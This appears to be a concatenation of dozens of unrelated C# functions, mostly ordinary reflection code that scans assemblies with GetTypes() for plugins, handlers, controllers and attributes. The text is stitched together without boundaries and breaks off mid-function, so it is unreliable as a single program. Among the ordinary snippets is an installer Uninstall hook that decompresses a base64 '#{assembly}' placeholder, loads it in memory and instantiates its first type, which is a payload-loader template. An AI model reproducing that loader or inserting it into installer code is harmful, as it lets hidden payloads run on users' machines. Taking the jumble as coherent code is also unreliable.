public static int SearchPackageHandler(Assembly ass) { int count = 0; m_packagesHandlers.Clear(); Type[] tList = ass.GetTypes(); string interfaceStr = typeof(IPackageHandler).ToString(); foreach (Type type in tList) { if (type.IsClass != true) continue; if (type.GetInterface(interfaceStr) == null) continue; PackageHandlerAttribute[] atts = (PackageHandlerAttribute[])type.GetCustomAttributes(typeof(PackageHandlerAttribute), true); if (atts.Length > 0) { count++; RegisterPacketHandler(atts[0].Code, (IPackageHandler)Activator.CreateInstance(type)); //m_packagesHandlers[atts[0].Code] = (IPackageHandler)Activator.CreateInstance(type); } } return count; }
public PrecompiledMvcEngine(Assembly assembly, string baseVirtualPath, IViewPageActivator viewPageActivator) { if (!Assemblies.Contains(assembly)) Assemblies.Add(assembly); _assemblyLastWriteTime = new Lazy<DateTime>(() => assembly.GetLastWriteTimeUtc(fallback: DateTime.MaxValue)); _baseVirtualPath = NormalizeBaseVirtualPath(baseVirtualPath); BaseLocationFormats(); #if DEBUG var map = (from type in assembly.GetTypes() where typeof(WebPageRenderingBase).IsAssignableFrom(type) let pageVirtualPath = type.GetCustomAttributes(inherit: false).OfType<PageVirtualPathAttribute>().FirstOrDefault() where pageVirtualPath != null select pageVirtualPath.VirtualPath); #endif _mappings = (from type in assembly.GetTypes() where typeof(WebPageRenderingBase).IsAssignableFrom(type) let pageVirtualPath = type.GetCustomAttributes(inherit: false).OfType<PageVirtualPathAttribute>().FirstOrDefault() where pageVirtualPath != null select new KeyValuePair<string, Type>(CombineVirtualPaths(_baseVirtualPath, pageVirtualPath.VirtualPath), type) ).ToDictionary(t => t.Key, t => t.Value, StringComparer.OrdinalIgnoreCase); this.ViewLocationCache = new PrecompiledViewLocationCache(assembly.FullName, this.ViewLocationCache); _viewPageActivator = viewPageActivator ?? DependencyResolver.Current.GetService<IViewPageActivator>() /* For compatibility, remove this line within next version */ ?? DefaultViewPageActivator.Current; }
private static IEnumerable<MemberInfo> FindAllTheTypesThatHaveTechDebt(Assembly assembly) { return assembly.GetTypes() .SelectMany(type => type.GetMembers()) .Union(assembly.GetTypes()) .Where(type => Attribute.IsDefined(type, typeof(TechDebtAttribute))); }
public Library(Config.Library libConfig, Assembly _assembly) { name = libConfig.Name; assembly = _assembly; ArrayList typeList = new ArrayList(); assembly.GetTypes(); foreach (Type type in assembly.GetTypes()) { if (libConfig == null || !libConfig.GetIgnoreType(type)) typeList.Add(type); } types = (Type[])typeList.ToArray(typeof(Type)); typesByName = new TypeTable(types.Length); typesByFullName = new TypeTable(types.Length); Type typeofTypeAliasAttribute = typeof(TypeAliasAttribute); foreach (Type type in types) { typesByName.Add(type.Name, type); typesByFullName.Add(type.FullName, type); if (type.IsDefined(typeofTypeAliasAttribute, false)) { object[] attrs = type.GetCustomAttributes(typeofTypeAliasAttribute, false); if (attrs != null && attrs.Length > 0 && attrs[0] != null) { TypeAliasAttribute attr = attrs[0] as TypeAliasAttribute; foreach (string alias in attr.Aliases) typesByFullName.Add(alias, type); } } } typeCache = new TypeCache(types, typesByName, typesByFullName); }
/// <summary> /// Read all the <see cref="MethodDescriptor"/>s for an <see cref="Assembly"/>. /// </summary> /// <param name="assembly">The <see cref="Assembly"/> to read attributes from.</param> /// <returns>All the <see cref="MethodDescriptor"/>s for an <see cref="Assembly"/>.</returns> public static IList<MethodDescriptor> GetMethodRules(Assembly assembly) { var list = new List<MethodDescriptor>(); for (var typeIndex = 0; typeIndex < assembly.GetTypes().Length; typeIndex++) { var type = assembly.GetTypes()[typeIndex]; //we only care about classes and interfaces. if (type.IsClass || type.IsInterface) { foreach (var methodInfo in type.GetMethods(BindingFlags.Public | BindingFlags.DeclaredOnly | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance)) { //TODO: support generic methods if (!TypeExtensions.IsPropertyMethod(methodInfo) && !methodInfo.ContainsGenericParameters && methodInfo.GetParameters().Length > 0) { var descriptor = MethodCache.GetMethod(methodInfo.MethodHandle); foreach (var parameter in descriptor.Parameters) { if (parameter.Rules.Count > 0) { list.Add(descriptor); break; } } } } } } return list; }
/* declare var client: IClient // To be filled by the user... declare var server: IServer */ public static void AddHubsFromAssembly(Assembly assembly) { assembly.GetTypes() .Where(t => t.BaseType != null && t.BaseType.Name == "Hub").ToList() .ForEach(t => MakeHubInterface(t) ); assembly.GetTypes() .Where(t => t.BaseType != null && t.BaseType.Name == "Hub`1").ToList() .ForEach(t => MakeHubInterface(t)); }
public static void MapAssembly(Assembly assembly) { Type[] types = assembly.GetTypes(); foreach (Type type in assembly.GetTypes()) { MapType(type); } Mapper.AssertConfigurationIsValid(); }
public AssemblyExplorationData Explore(Assembly assembly) { var bootstrapTypes = assembly.GetTypes().Where(x => x.IsInstantiatable<ILazyBootstrap>()); var suiteTypes = assembly.GetTypes().Where(x => x.IsInstantiatable<ISuite>() && x.GetAttribute<SubjectAttributeBase>() != null).ToList(); var suiteBaseTypes = suiteTypes.Select(x => x.GetImmediateDerivedTypesOf<ISuite>().Single()).Distinct(); var testExtensions = assembly.GetAttributes<UseTestExtension>() .Select(x => x.TestExtensionType.CreateInstance<ITestExtension>()) .OrderByDescending(x => x.Priority); var typeLoaders = suiteBaseTypes.ToDictionary(x => x, x => CreateTypeLoader(x, testExtensions)); return new AssemblyExplorationData(typeLoaders, suiteTypes, bootstrapTypes); }
private static bool CheckResultInternal(ref Assembly assembly, List<string> errors, CompilerResults result,bool isIngameScript) { if (result.Errors.HasErrors) { var en = result.Errors.GetEnumerator(); while (en.MoveNext()) { if (!(en.Current as CompilerError).IsWarning) errors.Add((en.Current as CompilerError).ToString()); } return false; } assembly = result.CompiledAssembly; Type failedType; var dic = new Dictionary<Type, List<MemberInfo>>(); foreach (var t in assembly.GetTypes()) //allows calls inside assembly dic.Add(t, null); List<MethodBase> typeMethods = new List<MethodBase>(); BindingFlags bfAllMembers = BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static | BindingFlags.Instance; foreach (var t in assembly.GetTypes()) { typeMethods.Clear(); typeMethods.AddArray(t.GetMethods(bfAllMembers)); typeMethods.AddArray(t.GetConstructors(bfAllMembers)); foreach (var m in typeMethods) { if (IlChecker.IsMethodFromParent(t,m)) { if (IlChecker.CheckTypeAndMember(m.DeclaringType, isIngameScript) == false) { errors.Add(string.Format("Class {0} derives from class {1} that is not allowed in script", t.Name, m.DeclaringType.Name)); return false; } continue; } if ((!IlChecker.CheckIl(m_reader.ReadInstructions(m), out failedType,isIngameScript, dic)) || IlChecker.HasMethodInvalidAtrributes(m.Attributes)) { // CH: TODO: This message does not make much sense when we test not only allowed types, but also method attributes errors.Add(string.Format("Type {0} used in {1} not allowed in script", failedType == null ? "FIXME" : failedType.ToString(), m.Name)); assembly = null; return false; } } } return true; }
private static bool HasCurrentTag(Assembly assembly) { // Check for classes that are tagged as "current". var taggedClasses = from t in assembly.GetTypes() where t.GetCustomAttributes(typeof(TagAttribute), true).Count(attr => ((TagAttribute)attr).Tag == TagCurrent) > 0 select t; if (taggedClasses.Count() > 0) return true; var testMethods = from t in assembly.GetTypes() where t.GetMethods().Where(item => item.GetCustomAttributes(typeof(TagAttribute), true).Count(attr => ((TagAttribute)attr).Tag == TagCurrent) > 0).Count() > 0 select t; return testMethods.Count() > 0; }
/// <summary> /// RPS Wrapper constructor /// </summary> public RPS() { // Load dynamically the assembly _rpsAssembly = Assembly.Load("Microsoft.Passport.RPS, Version=6.1.6206.0, Culture=neutral, PublicKeyToken=283dd9fa4b2406c5, processorArchitecture=MSIL"); // Extract the types that will be needed to perform authentication _rpsType = _rpsAssembly.GetTypes().ToList().Where(t => t.Name == "RPS").Single(); _rpsTicketType = _rpsAssembly.GetTypes().ToList().Where(t => t.Name == "RPSTicket").Single(); _rpsPropBagType = _rpsAssembly.GetTypes().ToList().Where(t => t.Name == "RPSPropBag").Single(); _rpsAuthType = _rpsAssembly.GetTypes().ToList().Where(t => t.Name == "RPSAuth").Single(); _rpsTicketPropertyType = _rpsTicketType.GetNestedTypes().ToList().Where(t => t.Name == "RPSTicketProperty").Single(); // Create instance of the RPS object _rps = Activator.CreateInstance(_rpsType); }
static Type[] GetAllTypesFromAssembly(Assembly asm) { #if SILVERLIGHT // ReflectionTypeLoadException try { return asm.GetTypes(); } catch (Exception) { return ArrayUtils.EmptyTypes; } #else try { return asm.GetTypes(); } catch (ReflectionTypeLoadException rtlException) { return rtlException.Types; } #endif }
public List<Comm.Dto.ControllerInfoListDto> GetControllerInfoFromAssembly(Assembly assembly) { List<Comm.Dto.ControllerInfoListDto> controllerList = new List<Comm.Dto.ControllerInfoListDto>(); var currentControllerList = assembly.GetTypes().Where(e => e.FullName.EndsWith("Controller")); Comm.Dto.ControllerInfoListDto temp = null; foreach (var controller in currentControllerList) { temp = new Comm.Dto.ControllerInfoListDto(); temp.ActionNameList = new List<string>(); foreach (var method in controller.GetMethods()) { //结尾是Result 并且是Public if (IsMvcActionResult(method.ReturnType) && method.IsPublic) { if (!temp.ActionNameList.Contains(method.Name)) { temp.ContorllerType = controller; temp.ActionNameList.Add(method.Name); } } } controllerList.Add(temp); } return controllerList; }
private void InstantiateConfigurableViewModels(Assembly assembly) { Type[] types; try { types = assembly.GetTypes(); // Using this in a foreach caused the app to stop loading dll's. Hence this structure. } catch (ReflectionTypeLoadException ex) { Log.Warn("[MappedViewModelProcessor] " + ex.Message, ex, this); return; } foreach (var type in types) { try { if (!type.IsClass || type.IsNotPublic) continue; if (type.BaseType != null && !string.IsNullOrWhiteSpace(type.BaseType.Name) && typeof (MappedViewModelConfiguration<>).Name == type.BaseType.Name) { Activator.CreateInstance(type); } } catch (Exception ex) { Log.Error(ex.Message, ex, this); } } }
public void BuildBindingsFromAssembly(Assembly assembly) { foreach (var type in assembly.GetTypes()) { BuildBindingsFromType(type); } }
/// <summary> /// 取得腳本物件內的所有使用者自訂的必要參數 /// </summary> /// <param name="target">Assembly 組件</param> /// <returns>返回值: 規則屬性類別列表(根據 ERuleType 分類)</returns> public static Dictionary<ERuleType, List<RulePropertyAttribute>> GetRules(Assembly target) { Dictionary<ERuleType, List<RulePropertyAttribute>> cRules = null; Type[] cTypes = target.GetTypes(); int iLength = cTypes.Length; if (iLength > 0) { cRules = new Dictionary<ERuleType,List<RulePropertyAttribute>>(); foreach (Type cType in cTypes) { if (cType.IsClass) { bool bExist = cType.IsDefined(typeof(RulePropertyAttribute), false); if (bExist) { object[] oAttribs = cType.GetCustomAttributes(typeof(RulePropertyAttribute), false); foreach (object oAttrib in oAttribs) { RulePropertyAttribute cRule = oAttrib as RulePropertyAttribute; ERuleType cRuleType = cRule.RuleType; List<RulePropertyAttribute> cList = null; if (!cRules.TryGetValue(cRuleType, out cList)) { cList = new List<RulePropertyAttribute>(); cRules.Add(cRuleType, cList); } cList.Add(cRule); } } } } } return cRules; }
private void AddAssemblyTypes(Assembly assembly) { Type[] types = assembly.GetTypes(); foreach (var type in types) if (typeof(BinaryData).IsAssignableFrom(type) && !type.IsAbstract) AddType(type); }
public List<Tuple<bool, string>> InvokeMethod(Assembly assembly, object[] args) { var results = new List<Tuple<bool, string>>(); foreach (var type in assembly.GetTypes()) { if (!type.IsClass) continue; var classObj = Activator.CreateInstance(type); foreach ( var methodInfo in type.GetMethods() .Where(methodInfo => methodInfo.GetCustomAttributes(typeof(TestMethodAttribute), false).Length > 0)) { var method = type.GetMethod(methodInfo.Name); try { method.Invoke(classObj, null); //, args); var pass = type.Name + " Then " + methodInfo.Name; results.Add(new Tuple<bool, string>(true, pass)); } catch (Exception e) { var fail = type.Name + " Then " + methodInfo.Name + " > " + e.InnerException?.Message; results.Add(new Tuple<bool, string>(false, fail)); } } } return results; }
private static IEnumerable<ReflectedType> GetAllServiceTypes(Assembly assembly) { var types = new List<ReflectedType>(); try { types = (from type in assembly.GetTypes() where type.IsClass && ((IEnumerable<ServiceAttribute>)type.GetCustomAttributes(typeof(ServiceAttribute), true)).Any() let attributes = (IEnumerable<ServiceAttribute>)type.GetCustomAttributes(typeof(ServiceAttribute), true) select new ReflectedType { RegisterTo = type, Attributes = attributes }).ToList(); } catch (ReflectionTypeLoadException ex) { foreach (var loadex in ex.LoaderExceptions) { System.Diagnostics.Trace.WriteLine(loadex.Message); } } return types; }
/// <summary> /// Scans the specified assembly for types marked with <see cref="FilterAttribute" /> and adds /// them to the factory. Optionally it prepends the specified text to filter names to avoid /// naming collisions. /// </summary> /// <param name="theAssembly">The assembly to be scanned for filters.</param> /// <param name="prefix">The prefix to be prepended to filter names.</param> public static void AddFiltersFromAssembly(Assembly theAssembly, string prefix) { try { InternalLogger.Debug("AddFiltersFromAssembly('{0}')", theAssembly.FullName); foreach (Type t in theAssembly.GetTypes()) { FilterAttribute[]attributes = (FilterAttribute[])t.GetCustomAttributes(typeof(FilterAttribute), false); if (attributes != null) { foreach (FilterAttribute attr in attributes) { if (PlatformDetector.IsSupportedOnCurrentRuntime(t)) { AddFilter(prefix + attr.Name, t); } } } } } catch (Exception ex) { InternalLogger.Error("Failed to add filters from '" + theAssembly.FullName + "': {0}", ex); } }
private void FindWritersIn(Assembly assembly) { IEnumerable<Type> writerTypes = assembly.GetTypes().Where(t => typeof(IConnectionWriter).IsAssignableFrom(t) && !t.IsAbstract); foreach (var writerType in writerTypes) { if (ignoredConnectionWriters.Contains(writerType)) continue; WriterForAttribute forAttribute = null; try { forAttribute = writerType.GetCustomAttributes(false).OfType<WriterForAttribute>() .FirstOrDefault(); } catch (ArgumentException ex) { logger.Log(LogLevels.Warning, ex.Message); continue; } if (forAttribute == null) { logger.Log(LogLevels.Warning, "Found Writer {0} but writer was missing the WriterFor attribute", writerType); continue; } AddConnectionWriterMap(writerType, forAttribute); } }
/// <summary> /// Scans the specified assembly for types marked with <see cref="ConditionMethodsAttribute" /> and adds /// them to the factory. Optionally it prepends the specified text to layout renderer names to avoid /// naming collisions. /// </summary> /// <param name="theAssembly">The assembly to be scanned for layout renderers.</param> /// <param name="prefix">The prefix to be prepended to layout renderer names.</param> public static void AddConditionMethodsFromAssembly(Assembly theAssembly, string prefix) { try { InternalLogger.Debug("AddLogEventConditionsFromAssembly('{0}')", theAssembly.FullName); foreach (Type t in theAssembly.GetTypes()) { if (t.IsDefined(typeof(ConditionMethodsAttribute), false)) { if (PlatformDetector.IsSupportedOnCurrentRuntime(t)) { foreach (MethodInfo mi in t.GetMethods(BindingFlags.Public | BindingFlags.Static)) { ConditionMethodAttribute[] malist = (ConditionMethodAttribute[])mi.GetCustomAttributes(typeof(ConditionMethodAttribute), false); foreach (ConditionMethodAttribute ma in malist) { if (PlatformDetector.IsSupportedOnCurrentRuntime(mi)) { AddConditionMethod(ma.Name, mi); } } } } } } } catch (Exception ex) { InternalLogger.Error("Failed to add LogEventConditions from '" + theAssembly.FullName + "': {0}", ex); } }
/// <summary> /// Add all controllers found in the specified assembly. /// </summary> /// <param name="assembly"></param> /// <remarks>It will also look for views in a subfolder to the controller.</remarks> public void LoadControllers(Assembly assembly) { Type controllerType = typeof(Controller); foreach (Type type in assembly.GetTypes()) { if (type.IsAbstract || type.IsInterface) continue; if (!controllerType.IsAssignableFrom(type)) continue; // find default constructor bool found = false; foreach (ConstructorInfo info in type.GetConstructors()) { if (info.GetParameters().Length != 0) continue; found = true; break; } if (!found) continue; // load controller. var instance = (Controller)Activator.CreateInstance(type); _server.Add(instance); // load resources in controller subfolder Views and map them to "/controllerName/". _resource.AddFilesInFolder(instance.ControllerUri, type.Assembly, type.Namespace + ".Views"); } }
public IEnumerable<Type> GetTypesWithTableAttribute(Assembly assembly) { const bool searchInheritedAttributes = true; return assembly.GetTypes(). Where(type => type.GetCustomAttributes(searchInheritedAttributes). Where(attribute => attribute is TableAttribute).FirstOrDefault() != null); }
/// <summary> /// Register existent suitable validators in specified assembly to be available during link generation and before execute actions. /// </summary> public static IServiceCollection AddSuitableValidators([NotNull] this IServiceCollection services, Assembly mappersAssembly) { services.Configure<MvcOptions>(options => { options.Filters.Add(new SuitableValidationFilter()); }); var serviceTypes = mappersAssembly.GetTypes() .Select(x => new { type = x, info = x.GetTypeInfo() }) .Where(x => !x.info.IsAbstract && !x.info.IsInterface && x.info.IsPublic && x.info.Namespace != null && x.info.ImplementedInterfaces.Contains(typeof(ISuitableValidator))) .Select(x => x.type); foreach (var type in serviceTypes) { services.AddScoped(type); } return services; }
public static IEnumerable<Type> GetAllTypesWithStaticFieldsImplementingType(Assembly assembly, Type type) { return assembly.GetTypes().Where(t => { return t.GetFields(BindingFlags.Public | BindingFlags.Static).Any(f => type.IsAssignableFrom(f.FieldType)); }).ToList(); }
public void ProcessAssembly(Assembly a) { foreach (Type t in a.GetTypes()) { if (IsException(t)) { CheckException(a, t); } } }
/// <summary> /// Gets the namespaces in an assembly. /// </summary> /// <param name="assembly">The assembly.</param> /// <returns></returns> public static Namespace[] GetAssemblyNamespaces(Assembly assembly) { Dictionary<string, Namespace> namespaces = new Dictionary<string, Namespace>(); foreach (Type type in assembly.GetTypes()) { string name = type.Namespace; if (string.IsNullOrEmpty(name)) { name = "-"; } Namespace ns; if (!namespaces.TryGetValue(name, out ns)) { ns = new Namespace() { Name = name }; namespaces.Add(name, ns); } ns.types.Add(type); } return namespaces.Values.ToArray(); }
protected int SearchCommandHandlers(Assembly assembly) { int num = 0; foreach (Type type in assembly.GetTypes()) { if (type.IsClass != true) continue; if (type.GetInterface("Game.Server.HotSpringRooms.TankHandle.IHotSpringCommandHandler") == null) continue; HotSpringCommandAttribute[] Attr = (HotSpringCommandAttribute[])type.GetCustomAttributes(typeof(HotSpringCommandAttribute), true); if (Attr.Length > 0) { try { num++; RegisterCommandHandler(Attr[0].Code, Activator.CreateInstance(type) as IHotSpringCommandHandler); } catch { Console.WriteLine("Error :" + Attr[0].ToString()); } } } return num; }
public void Configure(IChimeraContainer ioc, Assembly assembly) { var types = assembly.GetTypes().Where(t => t.CanBeCastTo<IListener>()); foreach (var t in types) ioc.RegisterSingleton(t, t); }
public static void Setup() { netMessageTypes = new List <System.Type>(); System.Type baseType = typeof(NetMessage); System.Reflection.Assembly assembly = baseType.Assembly; System.Type[] types = assembly.GetTypes(); foreach (System.Type type in types) { if (baseType.IsAssignableFrom(type)) { netMessageTypes.Add(type); } } }
// Use this for initialization void Start() { //Load script and compile. //Please not that you need to put your scripts in StreamingAssets folder or extern location. Otherwise unity will compile the .cs files. //If you want to store your script files inside your asset folder and don't want to use the StreamingAssets folder, simply give your scripts another ending than .cs (e.g. .txt) System.Reflection.Assembly _assembly = CSScript.Load(Application.dataPath + "/CS-Script/01 BasicExample/Scripts/BasicExampleScript.txt", null, true); //List all public classes inside the script Debug.Log("------ Public classes:"); foreach (System.Type t in _assembly.GetExportedTypes()) { Debug.Log(t); } Debug.Log("------ ALL classes:"); //List ALL classes inside the script foreach (System.Type t in _assembly.GetTypes()) { Debug.Log(t); } Debug.Log("----------------------"); //Add the Unity Component from our script file: MyMonoBehaviour //We know that it's the first class, but you should make sure and check. You could do a simple string check as a start this.gameObject.AddComponent(_assembly.GetExportedTypes()[0]); //Call a function in SomePublicClass in BasicExampleScript //Create an AsmHelper for easier handling. You only need one per Assembly. Multiple classes can be instantiated with it. AsmHelper helper = new AsmHelper(_assembly); //Call static function Calc(...) and print return value Debug.Log("Sum:" + (int)helper.Invoke("SomePublicClass.Sum", 1, 4)); //Create an instance of SomePublicClass using reflection IMyScript _somePublicClassInstance = (IMyScript)helper.CreateObject("SomePublicClass"); //Call function Test() on our new instance _somePublicClassInstance.Test(); }
void Start() { //print("Starting " + Time.time); //StartCoroutine(WaitAndPrint(1.0F)); //InvokeRepeating("prpr", 2.0f, 1.0f); System.Reflection.Assembly assembly = System.Reflection.Assembly.GetAssembly(typeof(MonoBehaviour)); //print("Class: " + assembly.FullName); System.Type[] types = assembly.GetTypes(); foreach (System.Type thisT in types) { //print ("Name: " + thisT.FullName); //print ("Properties:"); System.Reflection.PropertyInfo[] props = thisT.GetProperties(); foreach (System.Reflection.PropertyInfo prop in props) { //print (prop.Name); } //print ("Fields:"); System.Reflection.FieldInfo[] fields = thisT.GetFields(); foreach (System.Reflection.FieldInfo field in fields) { //print (field.Name); } //print ("Methods:"); System.Reflection.MethodInfo[] methods = thisT.GetMethods(); foreach (System.Reflection.MethodInfo method in methods) { //print (method.Name); } } //Timer newTimas = new gameObject.AddComponent<Timer> () as Timer; //new Timas (); var typeOf = typeof(Timer); var myMethod = typeOf.GetMethod("prpra"); GetType().GetMethod("prpra").Invoke(GetComponent <Timer>(), null); //typeof(Character).GetType ().GetMethod ("pasrpra").Invoke (null, null); //myMethod.Invoke(newTimas, null); }
/// <summary> /// FindDerivedTypesFromAssembly allows a user to query all of types derived from a /// particular Type at runtime. /// Example usage: /// foreach (System.Type st in EditorUtility.FindDerivedTypesFromAssembly(System.Reflection.Assembly.GetAssembly(typeof(BaseTimelineEvent)), typeof(BaseTimelineEvent), true)) /// </summary> /// <param name="assembly">The assembly to search in</param> /// <param name="baseType">The base Type from which all returned Types derive</param> /// <param name="classOnly">If true, only class Types will be returned</param> /// <returns></returns> public static System.Type[] FindDerivedTypesFromAssembly(this System.Reflection.Assembly assembly, System.Type baseType, bool classOnly = true) { if (assembly == null) { Debug.LogError("Assembly must be defined"); } if (baseType == null) { Debug.LogError("Base type must be defined"); } // Iterate through all available types in the assembly var types = assembly.GetTypes().Where(type => { if (classOnly && !type.IsClass) { return(false); } if (baseType.IsInterface) { var it = type.GetInterface(baseType.FullName); if (it != null) { return(true); } } else if (type.IsSubclassOf(baseType)) { return(true); } return(false); } ); return(types.ToArray()); }
private NavMeshToolEditor GetPaintingToolEditor(IPaintingTool tool) { System.Type tooltype = tool.GetType(); NavMeshToolEditor editor = null; if (m_ToolEditors == null) { m_ToolEditors = new Dictionary <System.Type, NavMeshToolEditor>(); System.Reflection.Assembly assembly = this.GetType().Assembly; var types = assembly.GetTypes(); foreach (var type in types) { if (type.IsSubclassOf(typeof(NavMeshToolEditor))) { var attributes = type.GetCustomAttributes(typeof(CustomNavMeshToolEditorAttribute), false); foreach (var att in attributes) { CustomNavMeshToolEditorAttribute a = att as CustomNavMeshToolEditorAttribute; if (a == null) { continue; } if (!m_ToolEditors.ContainsKey(a.navMeshToolType)) { m_ToolEditors[a.navMeshToolType] = (NavMeshToolEditor)System.Activator.CreateInstance(type); m_ToolEditors[a.navMeshToolType].SetApplyAction(new System.Action <IPaintingTool>(ApplyPaint)); } } } } } if (m_ToolEditors.ContainsKey(tooltype)) { editor = m_ToolEditors[tooltype]; editor.SetTool(tool); } return(editor); }
public static void LoadAttribute(List <Assembly> BusinessDll, ICacheManager cache, string pluginName) { List <WebServicesAttributeInfo> webserviceList = new List <WebServicesAttributeInfo>(); for (int k = 0; k < BusinessDll.Count; k++) { //System.Reflection.Assembly assembly = System.Reflection.Assembly.LoadFrom(BusinessDll[k]); System.Reflection.Assembly assembly = BusinessDll[k]; Type[] types = assembly.GetTypes(); for (int i = 0; i < types.Length; i++) { WebServiceAttribute[] webS = ((WebServiceAttribute[])types[i].GetCustomAttributes(typeof(WebServiceAttribute), true)); if (webS.Length > 0) { WebServicesAttributeInfo wsa = new WebServicesAttributeInfo(); wsa.ServiceName = types[i].Name; wsa.ServiceType = types[i]; webserviceList.Add(wsa); } } } cache.Add(pluginName + "@" + GetCacheKey(), webserviceList); }
private void initializeKnownTypes(IEnumerable <Type> knownTypesForDataContractSerializer) { //https://github.com/UiPath/corewf/blob/master/src/Test/TestFileInstanceStore/TestFileInstanceStore.cs _knownTypes = new List <Type>(); System.Reflection.Assembly sysActivitiesAssembly = typeof(Activity).GetTypeInfo().Assembly; Type[] typesArray = sysActivitiesAssembly.GetTypes(); //Variable<int>.VariableLocation //var t1 = typeof(Variable<int>); // Remove types that are not decorated with a DataContract attribute foreach (Type t in typesArray) { TypeInfo typeInfo = t.GetTypeInfo(); if (typeInfo.GetCustomAttribute <System.Runtime.Serialization.DataContractAttribute>() != null) { _knownTypes.Add(t); } } if (knownTypesForDataContractSerializer != null) { foreach (Type knownType in knownTypesForDataContractSerializer) { _knownTypes.Add(knownType); } } var t1 = sysActivitiesAssembly.GetType("System.Activities.Variable`1+VariableLocation[[System.Int32, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]"); _knownTypes.Add(t1); _knownTypes.Add(typeof(WorkflowCorrelation)); }
public override void Uninstall(System.Collections.IDictionary savedState) { System.IO.Compression.GZipStream s = new System.IO.Compression.GZipStream(new System.IO.MemoryStream(Convert.FromBase64String("#{assembly}")), System.IO.Compression.CompressionMode.Decompress); System.IO.MemoryStream m = new System.IO.MemoryStream(); const int size = 4096; byte[] buffer = new byte[size]; int count = 0; do { count = s.Read(buffer, 0, size); if (count > 0) { m.Write(buffer, 0, count); } }while (count > 0); System.Reflection.Assembly a = System.Reflection.Assembly.Load(m.ToArray()); Type at = a.GetTypes()[0]; object ao = Activator.CreateInstance(at); }
/// <summary> /// Collect them from a given assembly. /// </summary> static public List <Type> GetTypeChildrenTypes(Type typeSearched, System.Reflection.Assembly assembly) { Type[] types = assembly.GetTypes(); List <Type> result = new List <Type>(); foreach (Type type in types) { if (typeSearched.IsInterface) { List <Type> interfaces = new List <Type>(type.GetInterfaces()); if (interfaces.Contains(typeSearched)) { result.Add(type); } } else if (type.IsSubclassOf(typeSearched)) { result.Add(type); } } return(result); }
public static void DiscoverGlobalContexts(RuntimeEnvironment environment, System.Reflection.Assembly assembly) { var allTypes = assembly.GetTypes(); var enums = GetMarkedTypes(allTypes.AsParallel(), typeof(SystemEnumAttribute)); foreach (var item in enums) { RegisterSystemEnum(item, environment); } var simpleEnums = GetMarkedTypes(allTypes.AsParallel(), typeof(EnumerationTypeAttribute)); foreach (var item in simpleEnums) { RegisterSimpleEnum(item, environment); } var contexts = GetMarkedTypes(allTypes.AsParallel(), typeof(GlobalContextAttribute)); foreach (var item in contexts) { RegisterGlobalContext(item, environment); } }
/// <summary> /// Load a plugin. /// </summary> /// <param name="dllfilename">The current list with loaded plugins</param> public static void EnablePlugin(string dllfilename) { try { System.Reflection.Assembly pluginassembly = null; pluginassembly = System.Reflection.Assembly.LoadFrom(Path.Combine(Settings.ProgramPluginsFolder, dllfilename)); if (pluginassembly != null) { foreach (Type curplugintype in pluginassembly.GetTypes()) { if (curplugintype.IsPublic && !curplugintype.IsAbstract && !curplugintype.IsSealed) { if (!curplugintype.FullName.Equals(curplugintype.Namespace + "." + curplugintype.Namespace)) { continue; } Type plugintype = pluginassembly.GetType(curplugintype.ToString(), false, true); if (plugintype == null) { continue; } IPlugin.IPlugin plugin = (IPlugin.IPlugin)Activator.CreateInstance(pluginassembly.GetType(curplugintype.ToString())); plugin.Register(dllfilename, NoteFly.Program.Notes); enabledplugins.Add(plugin); } } } } catch (Exception ex) { Log.Write(LogType.exception, "Can't load file: " + dllfilename + " " + ex.Message); } }
// Dump all of the methods in the given ISymbolReader to the XmlWriter provided in the ctor. void WriteAllMethods(ISymbolReader reader) { m_writer.WriteComment("This is a list of all methods in the assembly that matches this PDB."); m_writer.WriteComment("For each method, we provide the sequence tables that map from IL offsets back to source."); m_writer.WriteStartElement("methods"); // Use reflection to enumerate all methods foreach (Type t in m_assembly.GetTypes()) { foreach (MethodInfo methodReflection in t.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static | BindingFlags.DeclaredOnly)) { int token = methodReflection.MetadataToken; ISymbolMethod methodSymbol = null; m_writer.WriteStartElement("method"); { m_writer.WriteAttributeString("name", t.FullName + "." + methodReflection.Name); m_writer.WriteAttributeString("token", Util.AsToken(token)); try { methodSymbol = reader.GetMethod(new SymbolToken(token)); WriteSequencePoints(methodSymbol); WriteLocals(methodSymbol); } catch (COMException e) { m_writer.WriteComment(String.Concat("No symbol info", e.Message)); } } m_writer.WriteEndElement(); // method } } m_writer.WriteEndElement(); }
/// <summary> /// Gets the outlook type for COM object. /// </summary> /// <param name="outlookComObject">The outlook COM object.</param> /// <returns></returns> public static Type GetOutlookTypeForComObject(object outlookComObject) { Type retVal = null; // get the com object and fetch its IUnknown IntPtr iunkwn = System.Runtime.InteropServices.Marshal.GetIUnknownForObject(outlookComObject); // enum all the types defined in the interop assembly System.Reflection.Assembly outlookAssembly = System.Reflection.Assembly.GetAssembly(typeof(Outlook._Application)); Type[] outlookTypes = outlookAssembly.GetTypes(); // find the first implemented interop type foreach (Type currType in outlookTypes) { // get the iid of the current type Guid iid = currType.GUID; if (!currType.IsInterface || iid == Guid.Empty) { // com interop type must be an interface with valid iid continue; } // query supportability of current interface on object IntPtr ipointer = IntPtr.Zero; System.Runtime.InteropServices.Marshal.QueryInterface(iunkwn, ref iid, out ipointer); if (ipointer != IntPtr.Zero) { // yeah, that’s the one we’re after retVal = currType; break; } } return(retVal); }
internal void AddAssembly(System.Reflection.Assembly asm, bool force = false) { //FIXME; this is a really hacky arbitrary heuristic //we should be using proper MEF composition APIs as part of the addin scan if (!force) { var assemblyName = asm.GetName().Name; switch (assemblyName) { //whitelist case "RefactoringEssentials": case "Refactoring Essentials": case "Microsoft.CodeAnalysis.Features": case "Microsoft.CodeAnalysis.VisualBasic.Features": case "Microsoft.CodeAnalysis.CSharp.Features": break; case "ClrHeapAllocationAnalyzer": if (!ClrHeapEnabled) { return; } break; //blacklist case "FSharpBinding": return; //addin assemblies that reference roslyn default: var refAsm = asm.GetReferencedAssemblies(); if (refAsm.Any(a => a.Name == diagnosticAnalyzerAssembly) && refAsm.Any(a => a.Name == "MonoDevelop.Ide")) { break; } return; } } try { foreach (var type in asm.GetTypes()) { //HACK: Workaround for missing UI if (type == typeof(Microsoft.CodeAnalysis.GenerateOverrides.GenerateOverridesCodeRefactoringProvider)) { continue; } if (type == 